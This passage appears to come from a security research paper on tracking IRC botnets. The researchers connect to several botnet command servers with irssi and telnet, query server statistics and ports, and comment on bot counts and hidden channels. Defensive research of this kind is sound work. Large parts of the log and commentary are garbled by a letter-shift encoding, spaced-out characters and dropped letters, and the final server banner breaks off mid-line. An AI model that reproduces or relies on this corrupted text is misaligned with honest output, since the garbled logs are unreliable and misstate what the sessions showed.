cRQVcUiSWiRQ YicWiPV, aQd QRbRd\ ZaQWV hiV BRWQeW geWWiQg SXbOiVhed. BXW Ze VhRZ QRZ WhaW Whe iQfRUPaWiRQ WhaW iV



published b\ S\mantec is not enough to actuall\ track Botnets - it is just a pressure for the operators. The following

section is an irssi session connecting and watching two Botnets. CommandV and comments issued b\ us are
formatted.

1. http://securit\response.s\mantec.com/avcenter/venc/data/w32.peja\bot.html#technicaldetails
! h o m e . p j 3 4 r . u s  * * *  L o o k i n g  u p  y o u r  h o s t n a m e . . .
! h o m e . p j 3 4 r . u s  * * *  C o u l d n ' t  r e s o l v e  y o u r  h o s t n a m e ;  u s i n g  y o u r  I P  a d d r e s s  i n s t e a d
- ! -  W e l c o m e  t o  t h e  p j 3 4 r  I R C  N e t w o r k  s e c f c s ! s e c f c s @ g o o g l e . c o m

// we honestl\ decided to strip out IP-address

- ! -  Y o u r  h o s t  i s  h o m e . p j 3 4 r . u s ,  r u n n i n g  v e r s i o n  U n r e a l 3 . 2 . 2
- ! -  T h i s  s e r v e r  w a s  c r e a t e d  M o n  J a n  1 0  2 0 0 5  a t  1 6 : 1 4 : 1 8  P S T
- ! -  h o m e . p j 3 4 r . u s  U n r e a l 3 . 2 . 2  i o w g h r a A s O R T V S x N C W q B z v d H t G p
l v h o p s m n t i k r R c a q O A L Q b S e K V f M G C u z N T
- ! -  S A F E L I S T  H C N  M A X C H A N N E L S = 2 5  C H A N L I M I T = # : 2 5  M A X L I S T = b : 6 0 , e : 6 0  N I C K L E N = 3 0
C H A N N E L L E N = 3 2  T O P I C L E N = 3 0 7  K I C K L E N = 3 0 7  A W A Y L E N = 3 0 7  M A X T A R G E T S = 2 0  W A L L C H O P S
W A T C H = 1 2 8  a r e  s u p p o r t e d  b y  t h i s  s e r v e r
- ! -  S I L E N C E = 1 5  M O D E S = 1 2  C H A N T Y P E S = #  P R E F I X = ( q a o h v ) a & a m p ; @ % +
C H A N M O D E S = b e , k f L , l , p s m n t i r R c O A Q K V G C u z N S M T  N E T W O R K = p j 3 4 r  C A S E M A P P I N G = a s c i i
E X T B A N = a , c q n r
E L I S T = M N U C T  S T A T U S M S G = a & a m p ; @ % +  E X C E P T S  C M D S = K N O C K , M A P , D C C A L L O W , U S E R I P  a r e  s u p p o r t e d
b y  t h i s  s e r v e r
- ! -  T h e r e  a r e  1  u s e r s  a n d  9 3 6 0  i n v i s i b l e  o n  1  s e r v e r s
- ! -  2  o p e r a t o r ( s )  o n l i n e
- ! -  1 4 1  u n k n o w n  c o n n e c t i o n ( s )
- ! -  2 6  c h a n n e l s  f o r m e d

// the bots hang around in 26 (sic!) channels

- ! -  I  h a v e  9 3 6 1  c l i e n t s  a n d  0  s e r v e r s
- ! -  C u r r e n t  L o c a l  U s e r s :  9 3 6 1   M a x :  9 3 6 5
- ! -  C u r r e n t  G l o b a l  U s e r s :  9 3 6 1   M a x :  9 3 6 5

// seems like a 10.000 Botnet on the first view.

// but this value is often inaccurate because attackers hardcode some values.

- ! -  M O T D  F i l e  i s  m i s s i n g
- ! -  M o d e  c h a n g e  [ + i w ]  f o r  u s e r  s e c f c s

/VWaWV a

- ! -  / S t a t s  f l a g s :
- ! -  B  -  b a n v e r s i o n  -  S e n d  t h e  b a n  v e r s i o n  l i s t
- ! -  b  -  b a d w o r d  -  S e n d  t h e  b a d w o r d s  l i s t
- ! -  C  -  l i n k  -  S e n d  t h e  l i n k  b l o c k  l i s t
- ! -  d  -  d e n y l i n k a u t o  -  S e n d  t h e  d e n y  l i n k  ( a u t o )  b l o c k  l i s t
- ! -  D  -  d e n y l i n k a l l  -  S e n d  t h e  d e n y  l i n k  ( a l l )  b l o c k  l i s t
- ! -  e  -  e x c e p t t h r o t t l e  -  S e n d  t h e  e x c e p t  t r o t t l e  b l o c k  l i s t
- ! -  E  -  e x c e p t b a n  -  S e n d  t h e  e x c e p t  b a n  b l o c k  l i s t
- ! -  f  -  s p a m f i l t e r  -  S e n d  t h e  s p a m f i l t e r  l i s t
- ! -  F  -  d e n y d c c  -  S e n d  t h e  d e n y  d c c  a n d  a l l o w  d c c  b l o c k  l i s t s
- ! -  G  -  g l i n e  -  S e n d  t h e  g l i n e  l i s t
- ! -    E x t e n d e d  f l a g s :  [ + / - m r s ]  [ m a s k ]  [ r e a s o n ]  [ s e t b y ]
- ! -     m  R e t u r n  g l i n e s  m a t c h i n g / n o t  m a t c h i n g  t h e  s p e c i f i e d  m a s k
- ! -     r  R e t u r n  g l i n e s  w i t h  a  r e a s o n  m a t c h i n g / n o t  m a t c h i n g  t h e  s p e c i f i e d  r e a s o n
- ! -     s  R e t u r n  g l i n e s  s e t  b y / n o t  s e t  b y  c l i e n t s  m a t c h i n g  t h e  s p e c i f i e d  n a m e
- ! -  I  -  a l l o w  -  S e n d  t h e  a l l o w  b l o c k  l i s t
- ! -  j  -  o f f i c i a l c h a n s  -  S e n d  t h e  o f f i c a l  c h a n n e l s  l i s t
- ! -  K  -  k l i n e  -  S e n d  t h e  b a n  u s e r / b a n  i p / e x c e p t  b a n  b l o c k  l i s t
- ! -  l  -  l i n k i n f o  -  S e n d  l i n k  i n f o r m a t i o n
- ! -  L  -  l i n k i n f o a l l  -  S e n d  a l l  l i n k  i n f o r m a t i o n
- ! -  M  -  c o m m a n d  -  S e n d  l i s t  o f  h o w  m a n y  t i m e s  e a c h  c o m m a n d  w a s  u s e d
- ! -  n  -  b a n r e a l n a m e  -  S e n d  t h e  b a n  r e a l n a m e  b l o c k  l i s t
- ! -  O  -  o p e r  -  S e n d  t h e  o p e r  b l o c k  l i s t



- ! -  S  -  V H W  -  S H Q G  W K H  V H W  E O R F N  O L V W
- ! -  V  -  V K X Q  -  S H Q G  W K H  V K X Q  O L V W
- ! -    E [ W H Q G H G  I O D J V :  [ + / - P U V ]  [ P D V N ]  [ U H D V R Q ]  [ V H W E \ ]
- ! -     P  R H W X U Q  V K X Q V  P D W F K L Q J / Q R W  P D W F K L Q J  W K H  V S H F L I L H G  P D V N
- ! -     U  R H W X U Q  V K X Q V  Z L W K  D  U H D V R Q  P D W F K L Q J / Q R W  P D W F K L Q J  W K H  V S H F L I L H G  U H D V R Q
- ! -     V  R H W X U Q  V K X Q V  V H W  E \ / Q R W  V H W  E \  F O L H Q W V  P D W F K L Q J  W K H  V S H F L I L H G  Q D P H
- ! -  P  -  S R U W  -  S H Q G  L Q I R U P D W L R Q  D E R X W  S R U W V
- ! -  T  -  E D Q Q L F N  -  S H Q G  W K H  E D Q  Q L F N  E O R F N  O L V W
- ! -  Q  -  V T O L Q H  -  S H Q G  W K H  J O R E D O  T O L Q H  O L V W
- ! -  U  -  F K D Q U H V W U L F W  -  S H Q G  W K H  F K D Q Q H O  G H Q \ / D O O R Z  E O R F N  O L V W
- ! -  W  -  W O G  -  S H Q G  W K H  W O G  E O R F N  O L V W
- ! -  T  -  W U D I I L F  -  S H Q G  W U D I I L F  L Q I R U P D W L R Q
- ! -  X  -  X S W L P H  -  S H Q G  W K H  V H U Y H U  X S W L P H  D Q G  F R Q Q H F W L R Q  F R X Q W
- ! -  U  -  X O L Q H  -  S H Q G  W K H  X O L Q H V  E O R F N  O L V W
- ! -  Y  -  G H Q \ Y H U  -  S H Q G  W K H  G H Q \  Y H U V L R Q  E O R F N  O L V W
- ! -  V  -  Y K R V W  -  S H Q G  W K H  Y K R V W  E O R F N  O L V W
- ! -  X  -  Q R W O L Q N  -  S H Q G  W K H  O L V W  R I  V H U Y H U V  W K D W  D U H  Q R W  F X U U H Q W  O L Q N H G
- ! -  Y  -  F O D V V  -  S H Q G  W K H  F O D V V  E O R F N  O L V W
- ! -  Z  -  P H P  -  S H Q G  P H P R U \  X V D J H  L Q I R U P D W L R Q
- ! -  *  E Q G  R I  / S T A T S  U H S R U W

// often attackers forget to switch this off

/VWaWV P

! K R P H . S M 3 4 U . X V  * * *  L L V W H Q H U  R Q  7 2 . 2 0 . 2 5 . 2 0 5 : 9 8 3 2 ,  F O L H Q W V  4 5 2 .  L V  P E R M
! K R P H . S M 3 4 U . X V  * * *  L L V W H Q H U  R Q  7 2 . 2 0 . 2 5 . 2 0 5 : 2 1 0 4 5 ,  F O L H Q W V  3 .  L V  P E R M
! K R P H . S M 3 4 U . X V  * * *  L L V W H Q H U  R Q  7 2 . 2 0 . 2 5 . 2 0 5 : 8 1 2 6 ,  F O L H Q W V  7 4 6 7 .  L V  P E R M  F O L H Q W V R Q O \
! K R P H . S M 3 4 U . X V  * * *  L L V W H Q H U  R Q  7 2 . 2 0 . 2 5 . 2 0 5 : 7 0 0 0 ,  F O L H Q W V  2 .  L V  P E R M
! K R P H . S M 3 4 U . X V  * * *  L L V W H Q H U  R Q  7 2 . 2 0 . 2 5 . 2 0 5 : 5 6 6 2 ,  F O L H Q W V  0 .  L V  P E R M
! K R P H . S M 3 4 U . X V  * * *  L L V W H Q H U  R Q  7 2 . 2 0 . 2 5 . 2 0 5 : 5 2 2 6 ,  F O L H Q W V  1 5 7 3 .  L V  P E R M
! K R P H . S M 3 4 U . X V  * * *  L L V W H Q H U  R Q  7 2 . 2 0 . 2 5 . 2 0 5 : 6 9 7 1 ,  F O L H Q W V  0 .  L V  P E R M
- ! -  P  E Q G  R I  / S T A T S  U H S R U W

// we never saw these values getting faked, so we take them as accurate guess.

// 10.000 Bots are onl\ on a single server so far.

/VWaWV T

- ! -  D F F H S W V  3 8 7 6 2 8 0  U H I X V H G  3 7 5 7 2 7 8
- ! -  X Q N Q R Z Q  F R P P D Q G V  4 6  S U H I L [ H V  0
- ! -  Q L F N  F R O O L V L R Q V  0  X Q N Q R Z Q  F O R V H V  1 1 9 6 5 6 2
- ! -  Z U R Q J  G L U H F W L R Q  0  H P S W \  0
- ! -  Q X P H U L F V  V H H Q  0  P R G H  I D N H V  0
- ! -  D X W K  V X F F H V V H V  0  I D L O V  0
- ! -  O R F D O  F R Q Q H F W L R Q V  0  X G S  S D F N H W V  0
- ! -  C O L H Q W  S H U Y H U
- ! -  F R Q Q H F W H G  7 6 5 9 5 1  0
- ! -  E \ W H V  V H Q W  3 0 7 5 9 9 6 . 1 3 5 K  0 . 0 K
- ! -  E \ W H V  U H F Y  9 0 1 9 3 0 . 5 2 5 K  0 . 0 K
- ! -  W L P H  F R Q Q H F W H G  1 8 7 3 6 2 8 1 1 7  0
- ! -  L Q F R P L Q J  U D W H  0 . 0 0  N E / V  -  R X W J R L Q J  U D W H  2 . 0 0  N E / V

/VWaWV X

- ! -  S H U Y H U  U S  4  G D \ V ,  2 : 5 4 : 2 3
- ! -  H L J K H V W  F R Q Q H F W L R Q  F R X Q W :  9 5 5 4  ( 9 5 5 4  F O L H Q W V )
- ! -  X  E Q G  R I  / S T A T S  U H S R U W

/map

1 1 : 5 3  - ! -  K R P H . S M 3 4 U . X V   ( 9 3 9 4 )   6 9
1 1 : 5 3  - ! -  E Q G  R I  / M A P

/linkV



1 1 : 5 3  - ! -  h o m e . p j 3 4 r . u s  h o m e . p j 3 4 r . u s  0  D o s N e t  L i n u x  I R C d
1 1 : 5 3  - ! -  *  E n d  o f  / L I N K S  l i s t .

/WHOIS -YES *

 

/liVW -YES *

- ! -  C h a n n e l  U s e r s   N a m e
- ! -  E n d  o f  / L I S T

// the botnet channels are set +sp

// so the\ are hidden from outside

So we got the following information about this Botnet: It is a single-server network with about 10.000 clients on

26 channels. The server is listening on seven ports, but we lack an\ information about channels names or

nickname structure. Thus we can not track botnets as close as we want to. The onl\ possibilit\ is to just add a

randoml\ named client to that server. Ma\be the operators of the botnet do not notice this strange client. And if

we have a bit luck, the\ send interesting information to all clients via WALLMSG or the server gets linked
somewhere.

2. http://securit\response.s\mantec.com/avcenter/venc/data/backdoor.sdbot.aj.html#technicaldetails
- ! -  I r s s i :  L o o k i n g  u p  m o s k e m o n g o . b i z
- ! -  I r s s i :  C o n n e c t i n g  t o  m o s k e m o n g o . b i z  [ 2 1 3 . 1 1 3 . 1 1 4 . 2 1 3 ]  p o r t  5 9
- ! -  I r s s i :  C o n n e c t i o n  t o  m o s k e m o n g o . b i z  e s t a b l i s h e d
! M o s k e M o n g o . B I Z  * * *  L o o k i n g  u p  y o u r  h o s t n a m e . . .
! M o s k e M o n g o . B I Z  * * *  F o u n d  y o u r  h o s t n a m e  ( c a c h e d )
! M o s k e M o n g o . B I Z  * * *  I f  y o u  a r e  h a v i n g  p r o b l e m s  c o n n e c t i n g  d u e  t o  p i n g  t i m e o u t s ,
p l e a s e  t y p e  / q u o t e  p o n g  E C 3 8 C 5 1 C  o r  / r a w  p o n g  E C 3 8 C 5 1 C  n o w .
- ! -  W e l c o m e  t o  t h e  u c o f N E T  I R C  N e t w o r k  s e c f c s ! s e c f c s @ g o o g l e . c o m
- ! -  Y o u r  h o s t  i s  M o s k e M o n g o . B I Z ,  r u n n i n g  v e r s i o n  U n r e a l 3 . 2 . 2
- ! -  T h i s  s e r v e r  w a s  c r e a t e d  T u e  D e c  1 4  2 0 0 4  a t  1 6 : 1 9 : 1 1  C E T
- ! -  M o s k e M o n g o . B I Z  U n r e a l 3 . 2 . 2  i o w g h r a A s O R T V S x N C W q B z v d H t G p
l v h o p s m n t i k r R c a q O A L Q b S e K V f M G C u z N T
- ! -  S A F E L I S T  H C N  M A X C H A N N E L S = 1 0  C H A N L I M I T = # : 1 0  M A X L I S T = b : 6 0 , e : 6 0  N I C K L E N = 3 0
C H A N N E L L E N = 3 2  T O P I C L E N = 3 0 7  K I C K L E N = 3 0 7  A W A Y L E N = 3 0 7  M A X T A R G E T S = 2 0  W A L L C H O P S
W A T C H = 1 2 8  a r e  s u p p o r t e d  b y  t h i s  s e r v e r
- ! -  S I L E N C E = 1 5  M O D E S = 1 2  C H A N T Y P E S = #  P R E F I X = ( q a o h v ) a & a m p ; @ % +
C H A N M O D E S = b e , k f L , l , p s m n t i r R c O A Q K V G C u z N S M T  N E T W O R K = u c o f N E T  C A S E M A P P I N G = a s c i i
E X T B A N = a , c q n r
E L I S T = M N U C T  S T A T U S M S G = a & a m p ; @ % +  E X C E P T S  C M D S = K N O C K , M A P , D C C A L L O W , U S E R I P  a r e  s u p p o r t e d
b y  t h i s  s e r v e r
- ! -  T h e r e  a r e  1  u s e r s  a n d  1 2 6 6  i n v i s i b l e  o n  1  s e r v e r s
- ! -  2  o p e r a t o r ( s )  o n l i n e
- ! -  5  u n k n o w n  c o n n e c t i o n ( s )
- ! -  5  c h a n n e l s  f o r m e d
- ! -  I  h a v e  1 2 6 7  c l i e n t s  a n d  0  s e r v e r s
- ! -  C u r r e n t  L o c a l  U s e r s :  1 2 6 7   M a x :  2 3 8 1
- ! -  C u r r e n t  G l o b a l  U s e r s :  1 2 6 7   M a x :  1 4 3 9

// 1.2k is a small botnet, but quite destructive if \ou want it to be

- ! -  M O T D  F i l e  i s  m i s s i n g

// Message Of The Da\ (MOTD) is disabled on man\ botnets to save traffic

- ! -  M o d e  c h a n g e  [ + i w ]  f o r  u s e r  s e c f c s

/map

- ! -  M o s k e M o n g o . B I Z   ( 1 2 9 2 )   1
- ! -  E n d  o f  / M A P



/linkV

1 1 : 5 8  - ! -  M R V N H M R Q J R . B I Z  M R V N H M R Q J R . B I Z  0  X F R I N E T  P D L Q  V H U Y H U
- ! -  *  E Q G  R I  / L I N K S  O L V W .

/liVW

- ! -  C K D Q Q H O  U V H U V   N D P H
- ! -  E Q G  R I  / L I S T

// once again channelV aUe hidden :\

/VWaWV a

- ! -  / S W D W V  I O D J V :
- ! -  B  -  E D Q Y H U V L R Q  -  S H Q G  W K H  E D Q  Y H U V L R Q  O L V W
- ! -  E  -  E D G Z R U G  -  S H Q G  W K H  E D G Z R U G V  O L V W
- ! -  C  -  O L Q N  -  S H Q G  W K H  O L Q N  E O R F N  O L V W
- ! -  G  -  G H Q \ O L Q N D X W R  -  S H Q G  W K H  G H Q \  O L Q N  ( D X W R )  E O R F N  O L V W
- ! -  D  -  G H Q \ O L Q N D O O  -  S H Q G  W K H  G H Q \  O L Q N  ( D O O )  E O R F N  O L V W
- ! -  H  -  H [ F H S W W K U R W W O H  -  S H Q G  W K H  H [ F H S W  W U R W W O H  E O R F N  O L V W
- ! -  E  -  H [ F H S W E D Q  -  S H Q G  W K H  H [ F H S W  E D Q  E O R F N  O L V W
- ! -  I  -  V S D P I L O W H U  -  S H Q G  W K H  V S D P I L O W H U  O L V W
- ! -  F  -  G H Q \ G F F  -  S H Q G  W K H  G H Q \  G F F  D Q G  D O O R Z  G F F  E O R F N  O L V W V
- ! -  G  -  J O L Q H  -  S H Q G  W K H  J O L Q H  O L V W
- ! -    E [ W H Q G H G  I O D J V :  [ + / - P U V ]  [ P D V N ]  [ U H D V R Q ]  [ V H W E \ ]
- ! -     P  R H W X U Q  J O L Q H V  P D W F K L Q J / Q R W  P D W F K L Q J  W K H  V S H F L I L H G  P D V N
- ! -     U  R H W X U Q  J O L Q H V  Z L W K  D  U H D V R Q  P D W F K L Q J / Q R W  P D W F K L Q J  W K H  V S H F L I L H G  U H D V R Q
- ! -     V  R H W X U Q  J O L Q H V  V H W  E \ / Q R W  V H W  E \  F O L H Q W V  P D W F K L Q J  W K H  V S H F L I L H G  Q D P H
- ! -  I  -  D O O R Z  -  S H Q G  W K H  D O O R Z  E O R F N  O L V W
- ! -  M  -  R I I L F L D O F K D Q V  -  S H Q G  W K H  R I I L F D O  F K D Q Q H O V  O L V W
- ! -  K  -  N O L Q H  -  S H Q G  W K H  E D Q  X V H U / E D Q  L S / H [ F H S W  E D Q  E O R F N  O L V W
- ! -  O  -  O L Q N L Q I R  -  S H Q G  O L Q N  L Q I R U P D W L R Q
- ! -  L  -  O L Q N L Q I R D O O  -  S H Q G  D O O  O L Q N  L Q I R U P D W L R Q
- ! -  M  -  F R P P D Q G  -  S H Q G  O L V W  R I  K R Z  P D Q \  W L P H V  H D F K  F R P P D Q G  Z D V  X V H G
- ! -  Q  -  E D Q U H D O Q D P H  -  S H Q G  W K H  E D Q  U H D O Q D P H  E O R F N  O L V W
- ! -  O  -  R S H U  -  S H Q G  W K H  R S H U  E O R F N  O L V W
- ! -  S  -  V H W  -  S H Q G  W K H  V H W  E O R F N  O L V W
- ! -  V  -  V K X Q  -  S H Q G  W K H  V K X Q  O L V W
- ! -    E [ W H Q G H G  I O D J V :  [ + / - P U V ]  [ P D V N ]  [ U H D V R Q ]  [ V H W E \ ]
- ! -     P  R H W X U Q  V K X Q V  P D W F K L Q J / Q R W  P D W F K L Q J  W K H  V S H F L I L H G  P D V N
- ! -     U  R H W X U Q  V K X Q V  Z L W K  D  U H D V R Q  P D W F K L Q J / Q R W  P D W F K L Q J  W K H  V S H F L I L H G  U H D V R Q
- ! -     V  R H W X U Q  V K X Q V  V H W  E \ / Q R W  V H W  E \  F O L H Q W V  P D W F K L Q J  W K H  V S H F L I L H G  Q D P H
- ! -  P  -  S R U W  -  S H Q G  L Q I R U P D W L R Q  D E R X W  S R U W V
- ! -  T  -  E D Q Q L F N  -  S H Q G  W K H  E D Q  Q L F N  E O R F N  O L V W
- ! -  Q  -  V T O L Q H  -  S H Q G  W K H  J O R E D O  T O L Q H  O L V W
- ! -  U  -  F K D Q U H V W U L F W  -  S H Q G  W K H  F K D Q Q H O  G H Q \ / D O O R Z  E O R F N  O L V W
- ! -  W  -  W O G  -  S H Q G  W K H  W O G  E O R F N  O L V W
- ! -  T  -  W U D I I L F  -  S H Q G  W U D I I L F  L Q I R U P D W L R Q
- ! -  X  -  X S W L P H  -  S H Q G  W K H  V H U Y H U  X S W L P H  D Q G  F R Q Q H F W L R Q  F R X Q W
- ! -  U  -  X O L Q H  -  S H Q G  W K H  X O L Q H V  E O R F N  O L V W
- ! -  Y  -  G H Q \ Y H U  -  S H Q G  W K H  G H Q \  Y H U V L R Q  E O R F N  O L V W
- ! -  V  -  Y K R V W  -  S H Q G  W K H  Y K R V W  E O R F N  O L V W
- ! -  X  -  Q R W O L Q N  -  S H Q G  W K H  O L V W  R I  V H U Y H U V  W K D W  D U H  Q R W  F X U U H Q W  O L Q N H G
- ! -  Y  -  F O D V V  -  S H Q G  W K H  F O D V V  E O R F N  O L V W
- ! -  Z  -  P H P  -  S H Q G  P H P R U \  X V D J H  L Q I R U P D W L R Q
- ! -  *  E Q G  R I  / S T A T S  U H S R U W

// bXW aW leaVW Whe IRCd iV bad configXUed

/VWaWV P

! M R V N H M R Q J R . B I Z  * * *  L L V W H Q H U  R Q  * : 5 9 ,  F O L H Q W V  1 1 .  L V  P E R M
! M R V N H M R Q J R . B I Z  * * *  L L V W H Q H U  R Q  * : 4 4 3 ,  F O L H Q W V  1 1 4 5 .  L V  P E R M
! M R V N H M R Q J R . B I Z  * * *  L L V W H Q H U  R Q  * : 6 6 6 7 ,  F O L H Q W V  1 3 3 .  L V  P E R M
- ! -  P  E Q G  R I  / S T A T S  U H S R U W



/VWaWV T

- ! -  a c c e p W V  9 9 4 0 7  U e f X V e d  6 8 7 6 4
- ! -  X n k n o Z n  c o m m a n d V  1  p U e f i [ e V  0
- ! -  n i c k  c o l l i V i o n V  0  X n k n o Z n  c l o V e V  1 0 6 4 6
- ! -  Z U o n g  d i U e c W i o n  0  e m p W \  0
- ! -  n X m e U i c V  V e e n  0  m o d e  f a k e V  0
- ! -  a X W h  V X c c e V V e V  0  f a i l V  0
- ! -  l o c a l  c o n n e c W i o n V  1  X d p  p a c k e W V  0
- ! -  C l i e n W  S e U Y e U
- ! -  c o n n e c W e d  2 0 0 3 8  0
- ! -  b \ W e V  V e n W  8 4 8 6 4 . 3 5 2 K  0 . 0 K
- ! -  b \ W e V  U e c Y  3 2 3 4 2 . 8 3 3 K  0 . 0 K
- ! -  W i m e  c o n n e c W e d  6 4 3 0 9 9 7 2  0
- ! -  i n c o m i n g  U a W e  0 . 0 0  k b / V  -  o X W g o i n g  U a W e  1 . 0 0  k b / V
- ! -  T  E n d  o f  / S T A T S  U e p o U W

/VWaWV V

- ! -  Y h o V W  i . h a W e . m i c U o V e f U V . c o m  V W V k e e p V  * @ * . i m a g e . d k
- ! -  V  E n d  o f  / S T A T S  U e p o U W

// we saw similar named vhost some time ago

// seems a known network

/VWaWV X

- ! -  S e U Y e U  U p  0  d a \ V ,  1 8 : 1 5 : 1 9
- ! -  H i g h e V W  c o n n e c W i o n  c o X n W :  1 4 3 9  ( 2 3 8 1  c l i e n W V )
- ! -  X  E n d  o f  / S T A T S  U e p o U W

Once again, we are just able to add a client idling on the server. We lack information about nickname structure

and Botnet channels since S\mantec did not offers these informations.

3. http://securit\response.s\mantec.com/avcenter/venc/data/backdoor.sdbot.ao.html#technicaldetails

This time we use a telnet session to connect to the Botnet server to see some

interesting banner.

$  W e l n e W  a [ e V V . Z a U e ] f U . c a  2 7 8 4

T U \ i n g  2 4 . 2 2 6 . 2 1 4 . 1 4 9 . . .
C o n n e c W e d  W o  2 1 4 - 1 4 9 . V h . c g o c a b l e . c a .
E V c a p e  c h a U a c W e U  i V  ' ^ ] ' .
Q U I T
N I C K  f o o
N I C K  : Y o X  h a Y e  n o W  U e g i V W e U e d
U S E R  f o o  0  0  : f o o
N I C K  f o o
: Z Z Z . p a c k e W V W o U m V e c X U i W \ . o U g  0 0 1  f o o  : Z Z Z . p a c k e W V W o U m V e c X U i W \ . o U g
: Z Z Z . p a c k e W V W o U m V e c X U i W \ . o U g  0 0 2  f o o  : A l l  I p  I V  L o g g e d
: Z Z Z . p a c k e W V W o U m V e c X U i W \ . o U g  0 0 3  f o o  : T h i V  S e U Y e U  W a V  C U e a W e d  F o U  H o n e \ - P o W

// a botnet for us? hoora\!

: Z Z Z . p a c k e W V W o U m V e c X U i W \ . o U g  0 0 4  f o o  : C h e k i n g  S e c X U i W \  S e U Y e U

// checking spelling

: Z Z Z . p a c k e W V W o U m V e c X U i W \ . o U g  0 0 5  f o o  : N o  H a c k e U  S X p p o U W e d  O n  T h i V  S e U Y e U
: Z Z Z . p a c k e W V W o U m V e c X U i W \ . o U g  0 0 5  f o o  : N o  H a c k e U  S X p p o U W e d  O n  T h i V  S e U Y e U

// oh no, the\ have disabled it...

: Z Z Z . p a c k e W V W o U m V e c X U i W \ . o U g  2 5 1  f o o  : T h e U e  a U e  1 0  X V e U V  a n d  1  i n Y i V i b l e  o n  1



V e U Y e U V
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  2 5 2  f R R  0  : R S e U a W R U ( V )  R Q O i Q e
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  2 5 4  f R R  1  : c h a Q Q e O V  f R U P e d
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  2 5 5  f R R  : I  h a Y e  1 0  c O i e Q W V  a Q d  1  V e U Y e U V
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  2 6 5  f R R  : C X U U e Q W  L R c a O  U V e U V :  1   M a [ :  5
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  2 6 6  f R R  : C X U U e Q W  G O R b a O  U V e U V :  1 0   M a [ :  1 1
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 5  f R R  : -  Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  M e V V a g e  R f  W h e
D a \  -
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -  2 5 / 1 2 / 2 0 0 4  1 6 : 4 8
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -  G R X Y e U Q e P e Q W  S e c X U i W \  N e W Z R U N
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -  H W W S : / / Z Z Z . F B I . g R Y
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -  F e d e U a O  B X U e a X  R f  I Q Y e V W i g a W i R Q
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -  A W W e Q W i R Q :  C R Q W e Q W  M a Q a g e U ,  F B I  H R P e  P a g e  
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -  9 3 5  P e Q Q V \ O Y a Q i a  A Y e Q X e ,  N W ,  R R R P  7 3 5 0
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -  W a V h i Q g W R Q ,  D C  2 0 5 3 5
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -  ( 2 0 2 )  3 2 4 - 3 0 0 0
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -  H W W S : / / Z Z Z . C I A . g R Y
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -  B \  S R V W a O  P a i O :
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -  C e Q W U a O  I Q W e O O i g e Q c e  A g e Q c \
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -  O f f i c e  R f  P X b O i c  A f f a i U V
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -  W a V h i Q g W R Q ,  D . C .  2 0 5 0 5
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -  B \  S h R Q e :
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -  ( 7 0 3 )  4 8 2 - 0 6 2 3
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -  7 : 0 0  a . P .  W R  5 : 0 0  S . P . ,  U S  E a V W e U Q  W i P e
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -  B \  f a [ :
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -  ( 7 0 3 )  4 8 2 - 1 7 3 9
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -  7 : 0 0  a . P .  W R  5 : 0 0  S . P . ,  U S  E a V W e U Q  W i P e
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -  ( S O e a V e  i Q c O X d e  a  S h R Q e  Q X P b e U  Z h e U e  Z e  P a \
c a O O  \ R X )
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -  T R  Y e U i f \  a  C I A  e P S O R \ e e ' V  e P S O R \ P e Q W :
: Z Z Z . S a c N e W V W R U P V e c X U i W \ . R U g  3 7 2  f R R  : -  i f  \ R X  a U e  a  P R U W g a g e  c R P S a Q \ ,  c U e d i W R U  R U
S R W e Q W i a O  e P S O R \ e U ,  S O e a V e  a d d U e V V  i Q T
